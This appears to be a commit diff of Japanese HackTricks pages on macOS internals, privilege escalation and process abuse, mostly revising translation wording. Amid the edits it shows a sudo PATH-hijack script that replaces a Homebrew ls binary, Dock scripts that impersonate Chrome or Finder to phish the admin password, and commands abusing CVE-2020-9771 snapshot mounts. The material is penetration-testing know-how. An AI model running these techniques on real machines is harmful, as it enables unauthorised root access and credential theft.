マルウェアは単に除外されたプロセスを生成するか、そこにコードを注入し、すでに許可されたソケットを介して自分のトラフィックをトンネルすることができました。AppleはmacOS 11.2で除外リストを完全に削除しましたが、この手法はアップグレードできないシステムでは依然として関連性があります。
例の概念実証11.2以前):
```python

View File

@ -1,4 +1,4 @@
# macOSのファイル、フォルダー、バイナリとメモリ
# macOS ファイル、フォルダー、バイナリおよびメモリ
{{#include ../../../banners/hacktricks-training.md}}
@ -15,18 +15,18 @@
- **/System**: OS Xを実行するためのファイルです。ここには主にApple特有のファイルサードパーティではないがあります。
- **/tmp**: ファイルは3日後に削除されますこれは/private/tmpへのソフトリンクです
- **/Users**: ユーザーのホームディレクトリ。
- **/usr**: 設定システムバイナリ
- **/usr**: 設定およびシステムバイナリ
- **/var**: ログファイル
- **/Volumes**: マウントされたドライブがここに表示されます。
- **/.vol**: `stat a.txt`を実行すると、`16777223 7545753 -rw-r--r-- 1 username wheel ...`のような出力が得られます。最初の数字はファイルが存在するボリュームのID番号で、2番目はinode番号です。この情報を使って`cat /.vol/16777223/7545753`を実行することで、このファイルの内容にアクセスできます。
- **/.vol**: `stat a.txt`を実行すると、`16777223 7545753 -rw-r--r-- 1 username wheel ...`のような出力が得られます。最初の数字はファイルが存在するボリュームのID番号で、2番目の数字はinode番号です。この情報を使って`cat /.vol/16777223/7545753`を実行することで、このファイルの内容にアクセスできます。
### アプリケーションフォルダー
- **システムアプリケーション**は`/System/Applications`にあります。
- **インストールされた**アプリケーションは通常`/Applications`または`~/Applications`にインストールされます。
- **アプリケーションデータ**は、rootとして実行されるアプリケーションのために`/Library/Application Support`に、ユーザーとして実行されるアプリケーションのために`~/Library/Application Support`にあります。
- サードパーティアプリケーションの**デーモン**は、通常`/Library/PrivilegedHelperTools/`にあります。
- **サンドボックス化された**アプリは`~/Library/Containers`フォルダーにマッピングされます。各アプリにはアプリケーションのバンドルID`com.apple.Safari`)に従った名前のフォルダーがあります。
- サードパーティアプリケーションの**デーモン**は、通常`/Library/PrivilegedHelperTools/`にあります。
- **サンドボックス化された**アプリは`~/Library/Containers`フォルダーにマッピングされます。各アプリにはアプリケーションのバンドルID`com.apple.Safari`)に基づいた名前のフォルダーがあります。
- **カーネル**は`/System/Library/Kernels/kernel`にあります。
- **Appleのカーネル拡張**は`/System/Library/Extensions`にあります。
- **サードパーティのカーネル拡張**は`/Library/Extensions`に保存されています。
@ -56,7 +56,7 @@ macos-installers-abuse.md
- `plutil -p ~/Library/Preferences/com.apple.screensaver.plist`
- `plutil -convert xml1 ~/Library/Preferences/com.apple.screensaver.plist -o -`
- `plutil -convert json ~/Library/Preferences/com.apple.screensaver.plist -o -`
- **`.app`**: ディレクトリ構造に従ったAppleアプリケーションバンドルです
- **`.app`**: ディレクトリ構造に従Appleアプリケーションバンドルです
- **`.dylib`**: 動的ライブラリWindows DLLファイルのようなもの
- **`.pkg`**: xareXtensible Archive formatと同じです。インストーラーコマンドを使用してこれらのファイルの内容をインストールできます。
- **`.DS_Store`**: このファイルは各ディレクトリにあり、ディレクトリの属性とカスタマイズを保存します。
@ -67,22 +67,22 @@ macos-installers-abuse.md
### macOSバンドル
バンドルは**Finderでオブジェクトのように見える**(バンドルの例は`*.app`ファイルです)**ディレクトリ**です
バンドルは**Finder内のオブジェクトのように見えるディレクトリ**です(バンドルの例は`*.app`ファイルです)。
{{#ref}}
macos-bundles.md
{{#endref}}
## Dyld共有ライブラリキャッシュSLC
## Dyld Shared Library Cache (SLC)
macOSおよびiOSでは、すべてのシステム共有ライブラリ、フレームワークやdylibのようなものが**単一のファイル**に**結合されて**おり、これを**dyld共有キャッシュ**と呼びます。これにより、コードをより速く読み込むことができ、パフォーマンスが向上します。
macOSおよびiOSでは、すべてのシステム共有ライブラリ、フレームワークやdylibが**単一のファイル**に**結合されて**おり、これを**dyld共有キャッシュ**と呼びます。これにより、コードをより速く読み込むことができ、パフォーマンスが向上します。
これはmacOSの`/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/`にあり、古いバージョンでは**`/System/Library/dyld/`**に**共有キャッシュ**が見つかるかもしれません。\
iOSでは**`/System/Library/Caches/com.apple.dyld/`**にあります。
dyld共有キャッシュと同様に、カーネルとカーネル拡張もカーネルキャッシュにコンパイルされ、ブート時にロードされます。
単一ファイルのdylib共有キャッシュからライブラリを抽出するために、バイナリの[dyld_shared_cache_util](https://www.mbsplugins.de/files/dyld_shared_cache_util-dyld-733.8.zip)を使用することが可能でしたが、現在は機能しないかもしれませんが、[**dyldextractor**](https://github.com/arandomdev/dyldextractor)を使用することもできます
単一ファイルのdylib共有キャッシュからライブラリを抽出するために、バイナリの[dyld_shared_cache_util](https://www.mbsplugins.de/files/dyld_shared_cache_util-dyld-733.8.zip)を使用することが可能でしたが、現在は機能しないかもしれませんが、[**dyldextractor**](https://github.com/arandomdev/dyldextractor)を使用することもできます
```bash
# dyld_shared_cache_util
dyld_shared_cache_util -extract ~/shared_cache/ /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
@ -97,7 +97,7 @@ dyldex_all [dyld_shared_cache_path] # Extract all
<figure><img src="../../../images/image (1152).png" alt="" width="563"><figcaption></figcaption></figure>
一部のエクストラクターは、dylibs がハードコーディングされたアドレスでプリリンクされているため、未知のアドレスにジャンプする可能性があるため、機能しない場合があります。
一部のエクストラクターは、dylibs がハードコーディングされたアドレスでプリリンクされているため、未知のアドレスにジャンプする可能性があるため、機能しないことがあります。
> [!TIP]
> エミュレーターを使用して Xcode で他の \*OS デバイスの共有ライブラリキャッシュをダウンロードすることも可能です。これらは次の場所にダウンロードされます: ls `$HOME/Library/Developer/Xcode/<*>OS\ DeviceSupport/<version>/Symbols/System/Library/Caches/com.apple.dyld/`、例:`$HOME/Library/Developer/Xcode/iOS\ DeviceSupport/14.1\ (18A8395)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64`
@ -106,7 +106,7 @@ dyldex_all [dyld_shared_cache_path] # Extract all
**`dyld`** は、SLC がマッピングされているかどうかを知るためにシステムコール **`shared_region_check_np`** を使用し(アドレスを返します)、**`shared_region_map_and_slide_np`** を使用して SLC をマッピングします。
SLC が最初の使用時にスライドしても、すべての **プロセス****同じコピー** を使用するため、攻撃者がシステムでプロセスを実行できる場合、**ASLR** 保護が **排除されます**。これは実際に過去に悪用され、共有領域ページャーで修正されました。
SLC が最初の使用時にスライドしても、すべての **プロセス****同じコピー** を使用するため、攻撃者がシステムでプロセスを実行できる場合、**ASLR** 保護が **排除されます**。これは過去に実際に悪用され、共有領域ページャーで修正されました。
ブランチプールは、画像マッピングの間に小さなスペースを作成する小さな Mach-O dylibs であり、関数を介入させることを不可能にします。
@ -121,23 +121,23 @@ SLC が最初の使用時にスライドしても、すべての **プロセス*
### フォルダの権限
**フォルダ**内の **読み取り****リスト** を許可し、**書き込み** は **削除****書き込み** を許可し、**実行** は **ディレクトリを横断** することを許可します。したがって、たとえば、**実行権限がない**ディレクトリ内のファイルに対して **読み取り権限を持つユーザー** は、そのファイルを **読み取ることができません**。
**フォルダ**内の **読み取り****リスト** を許可し、**書き込み** はその中のファイルを **削除** および **書き込む** ことを許可し、**実行** はディレクトリを **横断** することを許可します。したがって、たとえば、**実行権限を持たない**ディレクトリ内のファイルに対して **読み取り権限を持つ**ユーザーは、そのファイルを **読み取ることができません**。
### フラグ修飾子
ファイルに設定できるフラグがいくつかあり、ファイルの動作を異なるものにします。ディレクトリ内のファイルの **フラグを確認** するには `ls -lO /path/directory` を使用します。
ファイルに設定できるフラグがいくつかあり、ファイルの動作を異なるものにします。ディレクトリ内のファイルの **フラグを確認する**には `ls -lO /path/directory` を使用します。
- **`uchg`**: **uchange** フラグとして知られ、**ファイル**の変更や削除を **防止** します。設定するには: `chflags uchg file.txt`
- ルートユーザーは **フラグを削除** し、ファイルを変更できます。
- **`restricted`**: このフラグはファイルを **SIP によって保護** します(このフラグをファイルに追加することはできません)。
- **`Sticky bit`**: スティッキービットが設定されたディレクトリでは、**ディレクトリの所有者またはルートのみがファイルを名前変更または削除**できます。通常、これは /tmp ディレクトリに設定され、通常のユーザーが他のユーザーのファイルを削除または移動するのを防ぎます。
- **`uchg`**: **uchange** フラグとして知られ、**ファイル**の変更や削除を **防止します**。設定するには: `chflags uchg file.txt`
- ルートユーザーは **フラグを削除**し、ファイルを変更できます。
- **`restricted`**: このフラグはファイルを **SIP によって保護**します(このフラグをファイルに追加することはできません)。
- **`Sticky bit`**: スティッキービットを持つディレクトリでは、**所有者またはルートのみがファイルを名前変更または削除**できます。通常、これは /tmp ディレクトリに設定され、通常のユーザーが他のユーザーのファイルを削除または移動するのを防ぎます。
すべてのフラグはファイル `sys/stat.h` に見つけることができ(`mdfind stat.h | grep stat.h` を使用して見つけます)、次のようになります:
- `UF_SETTABLE` 0x0000ffff: 所有者変更可能フラグのマスク。
- `UF_NODUMP` 0x00000001: ファイルをダンプしない。
- `UF_IMMUTABLE` 0x00000002: ファイルは変更できません。
- `UF_APPEND` 0x00000004: ファイルへの書き込みは追加のみ可能です
- `UF_APPEND` 0x00000004: ファイルへの書き込みは追加のみ可能。
- `UF_OPAQUE` 0x00000008: ディレクトリはユニオンに対して不透明です。
- `UF_COMPRESSED` 0x00000020: ファイルは圧縮されています(いくつかのファイルシステム)。
- `UF_TRACKED` 0x00000040: この設定があるファイルの削除/名前変更に対する通知はありません。
@ -148,7 +148,7 @@ SLC が最初の使用時にスライドしても、すべての **プロセス*
- `SF_SYNTHETIC` 0xc0000000: システム読み取り専用合成フラグのマスク。
- `SF_ARCHIVED` 0x00010000: ファイルはアーカイブされています。
- `SF_IMMUTABLE` 0x00020000: ファイルは変更できません。
- `SF_APPEND` 0x00040000: ファイルへの書き込みは追加のみ可能です
- `SF_APPEND` 0x00040000: ファイルへの書き込みは追加のみ可能。
- `SF_RESTRICTED` 0x00080000: 書き込みには権限が必要です。
- `SF_NOUNLINK` 0x00100000: アイテムは削除、名前変更、またはマウントできません。
- `SF_FIRMLINK` 0x00800000: ファイルはファームリンクです。
@ -159,7 +159,7 @@ SLC が最初の使用時にスライドしても、すべての **プロセス*
ファイル **ACLs** には **ACE** (アクセス制御エントリ) が含まれており、異なるユーザーに対してより **詳細な権限** を割り当てることができます。
**ディレクトリ** に次の権限を付与することが可能です: `list`, `search`, `add_file`, `add_subdirectory`, `delete_child`, `delete_child`。\
ファイルには: `read`, `write`, `append`, `execute`
ファイルに対しては: `read`, `write`, `append`, `execute`
ファイルに ACLs が含まれている場合、権限をリスト表示すると **"+" が表示されます**
```bash
@ -172,7 +172,7 @@ ls -lde Movies
drwx------+ 7 username staff 224 15 Apr 19:42 Movies
0: group:everyone deny delete
```
すべてのACLを持つ**ファイルを見つける**には(これは非常に遅いです):
すべてのACLを持つファイルを見つけるにはこれは非常に遅いです
```bash
ls -RAle / 2>/dev/null | grep -E -B1 "\d: "
```
@ -189,14 +189,14 @@ ls -RAle / 2>/dev/null | grep -E -B1 "\d: "
- `com.apple.logd.metadata`: `/var/db/diagnostics`内のファイルでlogdによって使用される
- `com.apple.genstore.*`: 世代ストレージ(ファイルシステムのルートにある`/.DocumentRevisions-V100`
- `com.apple.rootless`: MacOS: システム整合性保護によってファイルにラベル付けされる (III/10)
- `com.apple.uuidb.boot-uuid`: ユニークUUIDを持つブートエポックのlogdマーク
- `com.apple.uuidb.boot-uuid`: 一意のUUIDを持つブートエポックのlogdマーク
- `com.apple.decmpfs`: MacOS: 透過的ファイル圧縮 (II/7)
- `com.apple.cprotect`: \*OS: ファイルごとの暗号化データ (III/11)
- `com.apple.installd.*`: \*OS: installdによって使用されるメタデータ`installType``uniqueInstallID`
### リソースフォーク | macOS ADS
これは**MacOSにおける代替データストリーム**を取得する方法です。**file/..namedfork/rsrc**内の拡張属性**com.apple.ResourceFork**にコンテンツを保存することができます。
これは**MacOS**マシンで**代替データストリーム**を取得する方法です。**file/..namedfork/rsrc**内の拡張属性**com.apple.ResourceFork**にコンテンツを保存することができます。
```bash
echo "Hello" > a.txt
echo "Hello Mac ADS" > a.txt/..namedfork/rsrc
@ -213,23 +213,23 @@ find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf
```
### decmpfs
拡張属性 `com.apple.decmpfs` は、ファイルが暗号化されて保存されていることを示します。`ls -l`**サイズが0** であると報告し、圧縮データはこの属性内にあります。ファイルにアクセスされるたびに、メモリ内で復号化されます。
拡張属性 `com.apple.decmpfs` は、ファイルが暗号化されて保存されていることを示します。`ls -l`**サイズが 0** であると報告し、圧縮データはこの属性内にあります。ファイルにアクセスされるたびに、メモリ内で復号化されます。
この属性は `ls -lO` で確認でき、圧縮されたファイルはフラグ `UF_COMPRESSED` でタグ付けされているため、圧縮されていることが示されます。圧縮ファイルが `chflags nocompressed </path/to/file>` で削除されると、システムはそのファイルが圧縮されていたことを認識せず、したがってデータを解凍してアクセスすることができません(実際には空であると考えます)。
この属性は `ls -lO` で確認でき、圧縮されたファイルはフラグ `UF_COMPRESSED` でタグ付けされているため、圧縮されていることが示されます。圧縮ファイルが `chflags nocompressed </path/to/file>` で削除されると、システムはそのファイルが圧縮されていたことを認識せず、したがってデータを復号化してアクセスすることができません(実際には空であると考えます)。
ツール afscexpand を使用して、ファイルを強制的に解凍することができます。
ツール afscexpand を使用して、ファイルを強制的に復号化することができます。
## **ユニバーサルバイナリ &** Mach-oフォーマット
## **ユニバーサルバイナリ &** Mach-o フォーマット
Mac OSのバイナリは通常、**ユニバーサルバイナリ**としてコンパイルされます。**ユニバーサルバイナリ**は、**同じファイル内で複数のアーキテクチャをサポートすることができます**
Mac OS のバイナリは通常 **ユニバーサルバイナリ** としてコンパイルされます。**ユニバーサルバイナリ** は **同じファイル内で複数のアーキテクチャをサポート** できます
{{#ref}}
universal-binaries-and-mach-o-format.md
{{#endref}}
## macOSプロセスメモリ
## macOS プロセスメモリ
## macOSメモリダンプ
## macOS メモリダンプ
{{#ref}}
macos-memory-dumping.md
@ -237,21 +237,21 @@ macos-memory-dumping.md
## リスクカテゴリファイル Mac OS
ディレクトリ `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` には、**異なるファイル拡張子に関連するリスクに関する情報が保存されています**。このディレクトリはファイルをさまざまなリスクレベルに分類し、Safariがこれらのファイルをダウンロード時にどのように扱うかに影響を与えます。カテゴリは次のとおりです
ディレクトリ `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` には、**異なるファイル拡張子に関連するリスクに関する情報が保存されています**。このディレクトリはファイルをさまざまなリスクレベルに分類し、Safari がこれらのファイルをダウンロード時にどのように扱うかに影響を与えます。カテゴリは次のとおりです:
- **LSRiskCategorySafe**: このカテゴリのファイルは **完全に安全** と見なされます。Safariはこれらのファイルをダウンロード後に自動的に開きます。
- **LSRiskCategoryNeutral**: これらのファイルには警告がなく、Safariによって **自動的に開かれません**
- **LSRiskCategoryUnsafeExecutable**: このカテゴリのファイルは **警告を引き起こします**。これは、そのファイルがアプリケーションであることを示すセキュリティ対策です。
- **LSRiskCategoryMayContainUnsafeExecutable**: このカテゴリは、実行可能ファイルを含む可能性のあるアーカイブなどのファイルに適用されます。Safariは、すべての内容が安全または中立であることを確認できない限り、**警告を引き起こします**。
- **LSRiskCategorySafe**: このカテゴリのファイルは **完全に安全** と見なされます。Safari はこれらのファイルをダウンロード後に自動的に開きます。
- **LSRiskCategoryNeutral**: これらのファイルには警告がなく、Safari によって **自動的に開かれません**
- **LSRiskCategoryUnsafeExecutable**: このカテゴリのファイルは **警告を引き起こします**。これはファイルがアプリケーションであることを示すセキュリティ対策です。
- **LSRiskCategoryMayContainUnsafeExecutable**: このカテゴリは、実行可能ファイルを含む可能性のあるアーカイブなどのファイル用です。Safari は、すべての内容が安全または中立であることを確認できない限り、**警告を引き起こします**。
## ログファイル
- **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**: ダウンロードされたファイルに関する情報を含み、どこからダウンロードされたかのURLが含まれています。
- **`/var/log/system.log`**: OSXシステムのメインログ。com.apple.syslogd.plistはsysloggingの実行を担当しています`launchctl list`で "com.apple.syslogd" を探すことで無効になっているか確認できます)。
- **`/private/var/log/asl/*.asl`**: これらはAppleシステムログで、興味深い情報が含まれている可能性があります。
- **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: "Finder"を通じて最近アクセスされたファイルとアプリケーションを保存します。
- **`/var/log/system.log`**: OSX システムのメインログ。com.apple.syslogd.plist syslogging の実行を担当しています(`launchctl list` で "com.apple.syslogd" を探すことで無効になっているか確認できます)。
- **`/private/var/log/asl/*.asl`**: これらは Apple システムログで、興味深い情報が含まれている可能性があります。
- **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: "Finder" を通じて最近アクセスされたファイルとアプリケーションを保存します。
- **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: システム起動時に起動するアイテムを保存します。
- **`$HOME/Library/Logs/DiskUtility.log`**: DiskUtilityアプリのログファイルドライブに関する情報、USBを含む
- **`$HOME/Library/Logs/DiskUtility.log`**: DiskUtility アプリのログファイルドライブに関する情報、USBを含む
- **`/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist`**: ワイヤレスアクセスポイントに関するデータ。
- **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`**: 無効化されたデーモンのリスト。

View File

@ -4,7 +4,8 @@
## TCC 特権昇格
TCC 特権昇格を探している場合は、次に進んでください:
TCC 特権昇格を探している場合は、次に進んでください:
{{#ref}}
macos-security-protections/macos-tcc/
@ -12,7 +13,8 @@ macos-security-protections/macos-tcc/
## Linux Privesc
**特権昇格に関するほとんどのトリックは、Linux/Unix に影響を与えるものは MacOS にも影響を与えることに注意してください。** したがって、次を参照してください:
**特権昇格に関するほとんどのトリックは、Linux/Unix に影響を与えるものは MacOS にも影響を与えることに注意してください。** したがって、次を参照してください:
{{#ref}}
../../linux-hardening/privilege-escalation/
@ -24,7 +26,7 @@ macos-security-protections/macos-tcc/
元の [Sudo ハイジャック技術は Linux 特権昇格の投稿内にあります](../../linux-hardening/privilege-escalation/index.html#sudo-hijacking)。
しかし、macOS は **`sudo`** を実行する際にユーザーの **`PATH`** を **保持** します。つまり、この攻撃を達成する別の方法は、被害者が **sudo を実行する際に** 実行する他のバイナリを **ハイジャックする** ことです:
しかし、macOS は **`sudo`** を実行する際にユーザーの **`PATH`** を **保持** します。つまり、この攻撃を達成する別の方法は、被害者が **sudo を実行する際に実行する他のバイナリをハイジャックする** ことです:
```bash
# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
cat > /opt/homebrew/bin/ls <<EOF
@ -43,13 +45,13 @@ sudo ls
### Dockのなりすまし
いくつかの**ソーシャルエンジニアリング**を使用して、実際に自分のスクリプトを実行しながら、Dock内で**Google Chromeのなりすまし**をすることができます:
いくつかの**ソーシャルエンジニアリング**を使用して、Dock内で**Google Chromeのなりすまし**を行い、実際に自分のスクリプトを実行することができます:
{{#tabs}}
{{#tab name="Chrome Impersonation"}}
いくつかの提案:
- DockにChromeがあるか確認し、その場合はそのエントリを**削除**し、Dock配列の**同じ位置に****偽の**Chromeエントリを**追加**します。
- DockにChromeがあるか確認し、その場合はそのエントリを**削除**し、Dock配列の**同じ位置に****偽の**Chromeエントリを**追加**します。
```bash
#!/bin/sh
@ -124,11 +126,11 @@ killall Dock
{{#tab name="Finder Impersonation"}}
いくつかの提案:
- **FinderをDockから削除することはできない**ので、Dockに追加する場合は、偽のFinderを本物のFinderのすぐ隣に置くことができます。そのためには、**Dock配列の最初に偽のFinderエントリを追加する必要があります**。
- 別のオプションは、Dockに配置せずにただ開くことで、「FinderがFinderを制御することを要求している」というのはそれほど奇妙ではありません。
- **DockからFinderを削除することはできない**ので、Dockに追加する場合は、偽のFinderを本物のすぐ隣に置くことができます。そのためには、**Dock配列の最初に偽のFinderエントリを追加する必要があります**。
- 別のオプションは、Dockに置かずにただ開くことで、「FinderがFinderを制御するように求めています」はそれほど奇妙ではありません。
- パスワードを尋ねることなく**rootに昇格する**別のオプションは、Finderに本当に特権アクションを実行するためのパスワードを要求させることです
- Finderに**`/etc/pam.d`**に新しい**`sudo`**ファイルをコピーするように依頼します(パスワードを要求するプロンプトは「Finderがsudoをコピーしたい」と示します
- Finderに新しい**Authorization Plugin**をコピーするように依頼します(ファイル名を制御できるので、パスワードを要求するプロンプトは「FinderがFinder.bundleをコピーしたい」と示します
- Finderに**`/etc/pam.d`**に新しい**`sudo`**ファイルをコピーするように依頼します(パスワードを尋ねるプロンプトは「Finderがsudoをコピーしたい」と示します
- Finderに新しい**Authorization Plugin**をコピーするように依頼します(ファイル名を制御できるので、パスワードを尋ねるプロンプトは「FinderがFinder.bundleをコピーしたい」と示します
```bash
#!/bin/sh
@ -205,8 +207,8 @@ killall Dock
### CVE-2020-9771 - mount_apfs TCC バイパスと特権昇格
**任意のユーザー**(特権のないユーザーも含む)は、タイムマシンのスナップショットを作成し、マウントして、そのスナップショットの**すべてのファイル**にアクセスできます。\
必要な**特権**は、使用されるアプリケーション(`Terminal`など)が**フルディスクアクセス**FDAアクセス`kTCCServiceSystemPolicyAllfiles`)を持つことであり、これは管理者によって付与される必要があります。
**任意のユーザー**(特権のないユーザーも含む)タイムマシンのスナップショットを作成し、マウントして、そのスナップショットの**すべてのファイルにアクセス**できます。\
必要な**特権**は、使用るアプリケーション(`Terminal`など)が**フルディスクアクセス**FDAアクセス`kTCCServiceSystemPolicyAllfiles`)を持つことであり、これは管理者によって付与される必要があります。
```bash
# Create snapshot
tmutil localsnapshot
@ -232,6 +234,7 @@ ls /tmp/snap/Users/admin_user # This will work
これは特権を昇格させるのに役立ちます:
{{#ref}}
macos-files-folders-and-binaries/macos-sensitive-locations.md
{{#endref}}

View File

@ -1,19 +1,19 @@
# macOS プロセスの悪用
# macOS Process Abuse
{{#include ../../../banners/hacktricks-training.md}}
## プロセスの基本情報
## Processes Basic Information
プロセスは実行中の実行可能ファイルのインスタンスですが、プロセスはコードを実行しません。これらはスレッドです。したがって、**プロセスは実行中のスレッドのコンテナに過ぎません**。メモリ、ディスクリプタ、ポート、権限を提供します...
従来、プロセスは**`fork`**を呼び出すことによって他のプロセス内で開始されましたPID 1を除く。これにより、現在のプロセスの正確なコピーが作成され、その後**子プロセス**は一般的に**`execve`**を呼び出して新しい実行可能ファイルをロードして実行します。その後、**`vfork`**が導入され、メモリコピーなしでこのプロセスを高速化しました。\
従来、プロセスは**`fork`**を呼び出すことによって他のプロセス内で開始されましたPID 1を除く。これにより、現在のプロセスの正確なコピーが作成され、その後**子プロセス**は一般的に**`execve`**を呼び出して新しい実行可能ファイルをロードして実行します。その後、**`vfork`**が導入され、このプロセスをメモリコピーなしで高速化しました。\
次に、**`posix_spawn`**が導入され、**`vfork`**と**`execve`**を1回の呼び出しで組み合わせ、フラグを受け入れます
- `POSIX_SPAWN_RESETIDS`: 有効なIDを実際のIDにリセット
- `POSIX_SPAWN_SETPGROUP`: プロセスグループの所属を設定
- `POSUX_SPAWN_SETSIGDEF`: シグナルのデフォルト動作を設定
- `POSIX_SPAWN_SETSIGMASK`: シグナルマスクを設定
- `POSIX_SPAWN_SETEXEC`: 同じプロセスで実行(より多くのオプションを持つ`execve`のように)
- `POSIX_SPAWN_SETEXEC`: 同じプロセスで実行(オプションが多い`execve`のように)
- `POSIX_SPAWN_START_SUSPENDED`: サスペンド状態で開始
- `_POSIX_SPAWN_DISABLE_ASLR`: ASLRなしで開始
- `_POSIX_SPAWN_NANO_ALLOCATOR:` libmallocのナアロケータを使用
@ -23,26 +23,26 @@
さらに、`posix_spawn`は生成されたプロセスのいくつかの側面を制御する**`posix_spawnattr`**の配列を指定することを許可し、ディスクリプタの状態を変更するための**`posix_spawn_file_actions`**を提供します。
プロセスが終了すると、**親プロセスに戻りコードを送信**します親が終了した場合、新しい親はPID 1。親は`wait4()`または`waitid()`を呼び出してこの値を取得する必要があり、その間、子プロセスはリソースを消費しないゾンビ状態に留まります
プロセスが終了すると、**親プロセスに戻りコードを送信します**親が終了した場合、新しい親はPID 1ですし、シグナル`SIGCHLD`を送信します。親はこの値を取得するために`wait4()`または`waitid()`を呼び出す必要があり、その間、子プロセスはゾンビ状態に留まり、リソースを消費しません
### PIDs
PID、プロセス識別子は、ユニークなプロセスを識別します。XNUでは、**PIDs**は**64ビット**で、単調に増加し、**決してラップしません**(悪用を避けるため)。
### プロセスグループ、セッション & コアレーション
### Process Groups, Sessions & Coalations
**プロセス**は**グループ**に挿入され、管理を容易にします。たとえば、シェルスクリプト内のコマンドは同じプロセスグループにあり、killを使用して**一緒にシグナルを送信**することが可能です。\
プロセスをセッションに**グループ化**することも可能です。プロセスがセッションを開始すると(`setsid(2)`)、子プロセスはセッション内に設定されますが、独自のセッションを開始しない限りです。
**プロセス**は**グループ**に挿入され、管理を容易にします。たとえば、シェルスクリプト内のコマンドは同じプロセスグループにあり、killを使用して**一緒にシグナルを送信する**ことが可能です。\
プロセスをセッションに**グループ化する**ことも可能です。プロセスがセッションを開始すると(`setsid(2)`)、子プロセスはセッション内に設定されますが、独自のセッションを開始しない限りです。
コアレーションは、Darwinでプロセスをグループ化する別の方法です。コアレーションに参加するプロセスは、プールリソースにアクセスでき、台帳を共有したり、Jetsamに直面したりします。コアレーションには異なる役割がありますリーダー、XPCサービス、拡張。
コアリションは、Darwinでプロセスをグループ化する別の方法です。コアリションに参加するプロセスは、プールリソースにアクセスでき、台帳を共有したり、Jetsamに直面したりします。コアションには異なる役割がありますリーダー、XPCサービス、拡張。
### 資格情報 & ペルソナ
### Credentials & Personae
各プロセスは、システム内の**権を識別する**ための**資格情報**を保持します。各プロセスには1つの主要な`uid`と1つの主要な`gid`があります(ただし、複数のグループに属することがあります)。\
各プロセスは、システム内の**権を識別する**ための**資格情報**を保持します。各プロセスには1つの主要な`uid`と1つの主要な`gid`があります(ただし、複数のグループに属することがあります)。\
バイナリが`setuid/setgid`ビットを持っている場合、ユーザーおよびグループIDを変更することも可能です。\
新しいuid/gidを**設定するための関数**がいくつかあります。
システムコール**`persona`**は、**代替**の**資格情報**セットを提供します。ペルソナを採用すると、そのuid、gid、およびグループメンバーシップを**一度に**引き受けます。[**ソースコード**](https://github.com/apple/darwin-xnu/blob/main/bsd/sys/persona.h)には、構造体が見つかります:
システムコール**`persona`**は、**代替の**資格情報のセットを提供します。ペルソナを採用すると、そのuid、gid、およびグループメンバーシップを**一度に**引き受けます。[**ソースコード**](https://github.com/apple/darwin-xnu/blob/main/bsd/sys/persona.h)では、構造体を見つけることができます:
```c
struct kpersona_info { uint32_t persona_info_version;
uid_t persona_id; /* overlaps with UID */
@ -65,32 +65,32 @@ char persona_name[MAXLOGNAME + 1];
#### macOSにおけるスレッドの終了
1. **スレッドの終了:** スレッドは通常、`pthread_exit()`を呼び出すことで終了します。この関数はスレッドがクリーンに終了し、必要なクリーンアップを行い、スレッドが戻り値を参加者に返すことを可能にします。
2. **スレッドのクリーンアップ:** `pthread_exit()`を呼び出すと、`pthread_terminate()`関数が呼び出され、すべての関連スレッド構造の削除を処理します。これによりMachスレッドポートが解放されMachはXNUカーネルの通信サブシステム、スレッドに関連するカーネルレベルの構造を削除するシステムコール`bsdthread_terminate`が呼び出されます。
1. **スレッドの終了:** スレッドは通常、`pthread_exit()`を呼び出すことで終了します。この関数はスレッドがクリーンに終了し、必要なクリーンアップを行い、スレッドが参加者に戻り値を送信できるようにします。
2. **スレッドのクリーンアップ:** `pthread_exit()`を呼び出すと、`pthread_terminate()`関数が呼び出され、すべての関連スレッド構造の削除を処理します。これによりMachスレッドポートMachはXNUカーネルの通信サブシステムを解放し、スレッドに関連するカーネルレベルの構造を削除するシステムコール`bsdthread_terminate`が呼び出されます。
#### 同期メカニズム
共有リソースへのアクセスを管理し、競合状態を避けるために、macOSはいくつかの同期プリミティブを提供します。これらはマルチスレッド環境においてデータの整合性とシステムの安定性を確保するために重要です
1. **ミューテックス:**
- **通常のミューテックス (署名: 0x4D555458):** メモリフットプリントが60バイトミューテックス56バイト、署名4バイトの標準ミューテックス。
- **ファストミューテックス (署名: 0x4d55545A):** 通常のミューテックスに似ていますが、より高速な操作のために最適化されており、サイズは60バイトです。
- **通常のミューテックス (シグネチャ: 0x4D555458):** メモリフットプリントが60バイトミューテックス56バイト、シグネチャ4バイトの標準ミューテックス。
- **ファストミューテックス (シグネチャ: 0x4d55545A):** 通常のミューテックスに似ていますが、より高速な操作のために最適化されており、サイズは60バイトです。
2. **条件変数:**
- 特定の条件が発生するのを待つために使用され、サイズは44バイト40バイトプラス4バイトの署名)。
- **条件変数属性 (署名: 0x434e4441):** 条件変数の設定属性で、サイズは12バイトです。
3. **ワンス変数 (署名: 0x4f4e4345):**
- 特定の条件が発生するのを待つために使用され、サイズは44バイト40バイトプラス4バイトのシグネチャ)。
- **条件変数属性 (シグネチャ: 0x434e4441):** 条件変数の設定属性で、サイズは12バイトです。
3. **ワンス変数 (シグネチャ: 0x4f4e4345):**
- 初期化コードが一度だけ実行されることを保証します。サイズは12バイトです。
4. **読み書きロック:**
- 複数のリーダーまたは1つのライターを同時に許可し、共有データへの効率的なアクセスを促進します。
- **読み書きロック (署名: 0x52574c4b):** サイズは196バイトです。
- **読み書きロック属性 (署名: 0x52574c41):** 読み書きロックの属性で、サイズは20バイトです。
- **読み書きロック (シグネチャ: 0x52574c4b):** サイズは196バイトです。
- **読み書きロック属性 (シグネチャ: 0x52574c41):** 読み書きロックの属性で、サイズは20バイトです。
> [!TIP]
> これらのオブジェクトの最後の4バイトはオーバーフローを検出するために使用されます。
### スレッドローカル変数 (TLV)
